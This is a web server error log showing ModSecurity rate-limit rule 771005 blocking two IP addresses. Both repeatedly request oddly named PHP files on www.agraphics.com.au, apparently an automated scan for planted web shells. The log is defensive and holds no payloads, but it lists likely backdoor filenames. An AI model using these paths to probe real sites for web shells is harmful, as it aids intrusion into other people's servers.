[Wed Apr 15 19:16:07.689543 2026] [:error] [pid 37370:tid 37388] [client 20.215.250.56:36980] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9zd3g-gnM2Ga0cGAAD3QAAARA"]
[Wed Apr 15 19:16:08.883552 2026] [:error] [pid 37370:tid 37379] [client 20.215.250.56:27384] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9zeHg-gnM2Ga0cGAAD6AAAAQc"]
[Wed Apr 15 19:16:09.804147 2026] [:error] [pid 30956:tid 30970] [client 20.215.250.56:16868] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9zeUBGUpjaWntNYq1gMgAAAAo"]
[Wed Apr 15 19:16:13.282117 2026] [:error] [pid 30958:tid 31023] [client 20.215.250.56:16484] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9zfceG3wSKTO7NWFGMQwAAAMc"]
[Wed Apr 15 19:16:15.197104 2026] [:error] [pid 31053:tid 31070] [client 20.215.250.56:22268] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9zfxcEkLCmvF0fjDerAgAAAI4"]
[Wed Apr 15 19:16:16.417010 2026] [:error] [pid 31053:tid 31063] [client 20.215.250.56:49671] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9zgBcEkLCmvF0fjDerBAAAAIc"]
[Wed Apr 15 19:16:17.835722 2026] [:error] [pid 30958:tid 31026] [client 20.215.250.56:24022] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9zgceG3wSKTO7NWFGMSAAAAMo"]
[Wed Apr 15 19:16:19.512548 2026] [:error] [pid 30957:tid 30999] [client 20.215.250.56:10809] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9zg35gwVEVXHfVSipvpgAAAEo"]
[Wed Apr 15 19:16:20.242759 2026] [:error] [pid 30958:tid 31030] [client 20.215.250.56:26937] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9zhMeG3wSKTO7NWFGMSwAAAM4"]
[Wed Apr 15 19:16:21.028548 2026] [:error] [pid 30956:tid 30978] [client 20.215.250.56:17637] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9zhUBGUpjaWntNYq1gNgAAABI"]
[Wed Apr 15 19:16:22.017454 2026] [:error] [pid 37370:tid 37377] [client 20.215.250.56:4683] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9zhng-gnM2Ga0cGAAEDQAAAQU"]
[Wed Apr 15 19:16:22.928570 2026] [:error] [pid 30958:tid 31037] [client 20.215.250.56:11936] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9zhseG3wSKTO7NWFGMTQAAANU"]
[Wed Apr 15 19:16:23.595781 2026] [:error] [pid 30958:tid 31035] [client 20.215.250.56:23594] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9zh8eG3wSKTO7NWFGMTwAAANM"]
[Wed Apr 15 19:16:24.461572 2026] [:error] [pid 30956:tid 30967] [client 20.215.250.56:11521] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9ziEBGUpjaWntNYq1gOQAAAAc"]
[Wed Apr 15 19:16:25.787684 2026] [:error] [pid 30956:tid 30976] [client 20.215.250.56:23254] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9ziUBGUpjaWntNYq1gOgAAABA"]
[Wed Apr 15 19:16:26.543145 2026] [:error] [pid 30957:tid 30995] [client 20.215.250.56:14188] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9zin5gwVEVXHfVSipvqwAAAEY"]
[Wed Apr 15 19:16:27.350070 2026] [:error] [pid 30958:tid 31036] [client 20.215.250.56:10053] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9zi8eG3wSKTO7NWFGMVgAAANQ"]
[Wed Apr 15 19:16:28.258183 2026] [:error] [pid 30957:tid 30997] [client 20.215.250.56:11959] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9zjH5gwVEVXHfVSipvrgAAAEg"]
[Wed Apr 15 19:16:28.912872 2026] [:error] [pid 30957:tid 31001] [client 20.215.250.56:23284] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9zjH5gwVEVXHfVSipvsgAAAEw"]
[Wed Apr 15 19:16:30.009940 2026] [:error] [pid 30958:tid 31030] [client 20.215.250.56:51935] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9zjseG3wSKTO7NWFGMWgAAAM4"]
[Wed Apr 15 19:16:31.426755 2026] [:error] [pid 30956:tid 30962] [client 20.215.250.56:50584] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9zj0BGUpjaWntNYq1gQQAAAAI"]
[Wed Apr 15 19:16:32.072006 2026] [:error] [pid 30956:tid 30979] [client 20.215.250.56:23585] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9zkEBGUpjaWntNYq1gQwAAABM"]
[Wed Apr 15 19:16:33.000728 2026] [:error] [pid 30957:tid 31006] [client 20.215.250.56:37575] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9zkH5gwVEVXHfVSipvugAAAFE"]
[Wed Apr 15 19:16:34.238453 2026] [:error] [pid 37370:tid 37373] [client 20.215.250.56:51963] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9zkng-gnM2Ga0cGAAEHgAAAQE"]
[Wed Apr 15 19:16:35.131633 2026] [:error] [pid 30957:tid 30991] [client 20.215.250.56:26599] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9zk35gwVEVXHfVSipvwQAAAEI"]
[Wed Apr 15 19:16:36.708599 2026] [:error] [pid 31053:tid 31062] [client 20.215.250.56:15737] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9zlBcEkLCmvF0fjDerEwAAAIY"]
[Wed Apr 15 19:16:37.655491 2026] [:error] [pid 30958:tid 31040] [client 20.215.250.56:33936] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9zlceG3wSKTO7NWFGMYAAAANg"]
[Wed Apr 15 19:16:38.358332 2026] [:error] [pid 37370:tid 37387] [client 20.215.250.56:48026] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9zlng-gnM2Ga0cGAAEKQAAAQ8"]
[Wed Apr 15 19:16:39.215108 2026] [:error] [pid 37370:tid 37384] [client 20.215.250.56:26516] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9zl3g-gnM2Ga0cGAAEMAAAAQw"]
[Wed Apr 15 19:16:40.747050 2026] [:error] [pid 37370:tid 37390] [client 20.215.250.56:49709] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9zmHg-gnM2Ga0cGAAENwAAARI"]
[Wed Apr 15 19:16:41.698716 2026] [:error] [pid 37370:tid 37387] [client 20.215.250.56:48020] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9zmXg-gnM2Ga0cGAAEOgAAAQ8"]
[Wed Apr 15 19:16:42.723075 2026] [:error] [pid 31053:tid 31057] [client 20.215.250.56:10071] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9zmhcEkLCmvF0fjDerGAAAAIE"]
[Wed Apr 15 19:16:44.017650 2026] [:error] [pid 31053:tid 31068] [client 20.215.250.56:25205] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9znBcEkLCmvF0fjDerHAAAAIw"]
[Wed Apr 15 19:16:44.949764 2026] [:error] [pid 30956:tid 30972] [client 20.215.250.56:38167] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9znEBGUpjaWntNYq1gTQAAAAw"]
[Wed Apr 15 19:16:45.711602 2026] [:error] [pid 30956:tid 30963] [client 20.215.250.56:50664] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9znUBGUpjaWntNYq1gTgAAAAM"]
[Wed Apr 15 19:16:46.303241 2026] [:error] [pid 37370:tid 37394] [client 20.215.250.56:18384] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9znng-gnM2Ga0cGAAEPQAAARY"]
[Wed Apr 15 19:16:47.401456 2026] [:error] [pid 30957:tid 31004] [client 20.215.250.56:23259] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9zn35gwVEVXHfVSipvzgAAAE8"]
[Wed Apr 15 19:16:48.151518 2026] [:error] [pid 37370:tid 37377] [client 20.215.250.56:16856] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9zoHg-gnM2Ga0cGAAEQAAAAQU"]
[Wed Apr 15 19:16:49.126287 2026] [:error] [pid 37370:tid 37393] [client 20.215.250.56:51843] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9zoXg-gnM2Ga0cGAAERwAAARU"]
[Wed Apr 15 19:17:14.004775 2026] [proxy_fcgi:error] [pid 30958:tid 31035] [client 172.161.107.89:37949] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:14.044803 2026] [proxy_fcgi:error] [pid 30956:tid 30961] [client 172.161.107.89:42939] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:14.247075 2026] [proxy_fcgi:error] [pid 30958:tid 31030] [client 172.161.107.89:37949] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:14.283106 2026] [proxy_fcgi:error] [pid 30956:tid 30980] [client 172.161.107.89:42939] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:14.485263 2026] [proxy_fcgi:error] [pid 30958:tid 31022] [client 172.161.107.89:37949] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:14.523249 2026] [proxy_fcgi:error] [pid 30956:tid 30967] [client 172.161.107.89:42939] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:14.723468 2026] [proxy_fcgi:error] [pid 30958:tid 31038] [client 172.161.107.89:37949] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:14.762371 2026] [proxy_fcgi:error] [pid 30956:tid 30966] [client 172.161.107.89:42939] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:14.960891 2026] [proxy_fcgi:error] [pid 30958:tid 31018] [client 172.161.107.89:37949] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:15.012478 2026] [:error] [pid 30956:tid 30968] [client 172.161.107.89:42939] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "ad9zu0BGUpjaWntNYq1gZwAAAAg"]
[Wed Apr 15 19:17:15.203704 2026] [:error] [pid 30958:tid 31027] [client 172.161.107.89:37949] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9zu8eG3wSKTO7NWFGMjQAAAMs"]
[Wed Apr 15 19:17:15.565614 2026] [:error] [pid 30958:tid 31036] [client 172.161.107.89:37938] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "ad9zu8eG3wSKTO7NWFGMlQAAANQ"]
[Wed Apr 15 19:17:15.712913 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:31617] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9zu3g-gnM2Ga0cGAAErwAAAQU"]
[Wed Apr 15 19:17:16.101499 2026] [:error] [pid 31053:tid 31076] [client 172.161.107.89:17964] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "ad9zvBcEkLCmvF0fjDerdgAAAJQ"]
[Wed Apr 15 19:17:16.185529 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:65043] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9zvHg-gnM2Ga0cGAAEswAAARc"]
[Wed Apr 15 19:17:16.590213 2026] [:error] [pid 31053:tid 31062] [client 172.161.107.89:29144] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "ad9zvBcEkLCmvF0fjDerfQAAAIY"]
[Wed Apr 15 19:17:16.743561 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:5870] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9zvBcEkLCmvF0fjDerfwAAAIo"]
[Wed Apr 15 19:17:17.080088 2026] [:error] [pid 31053:tid 31072] [client 172.161.107.89:20621] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9zvRcEkLCmvF0fjDergQAAAJA"]
[Wed Apr 15 19:17:17.252603 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:42460] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9zvRcEkLCmvF0fjDergwAAAIg"]
[Wed Apr 15 19:17:17.611451 2026] [:error] [pid 31053:tid 31056] [client 172.161.107.89:10716] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9zvRcEkLCmvF0fjDerhgAAAIA"]
[Wed Apr 15 19:17:17.774924 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:5396] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9zvRcEkLCmvF0fjDeriAAAAJE"]
[Wed Apr 15 19:17:18.139565 2026] [:error] [pid 31053:tid 31059] [client 172.161.107.89:19191] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9zvhcEkLCmvF0fjDeriwAAAIM"]
[Wed Apr 15 19:17:18.294894 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:28535] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9zvseG3wSKTO7NWFGMmQAAANg"]
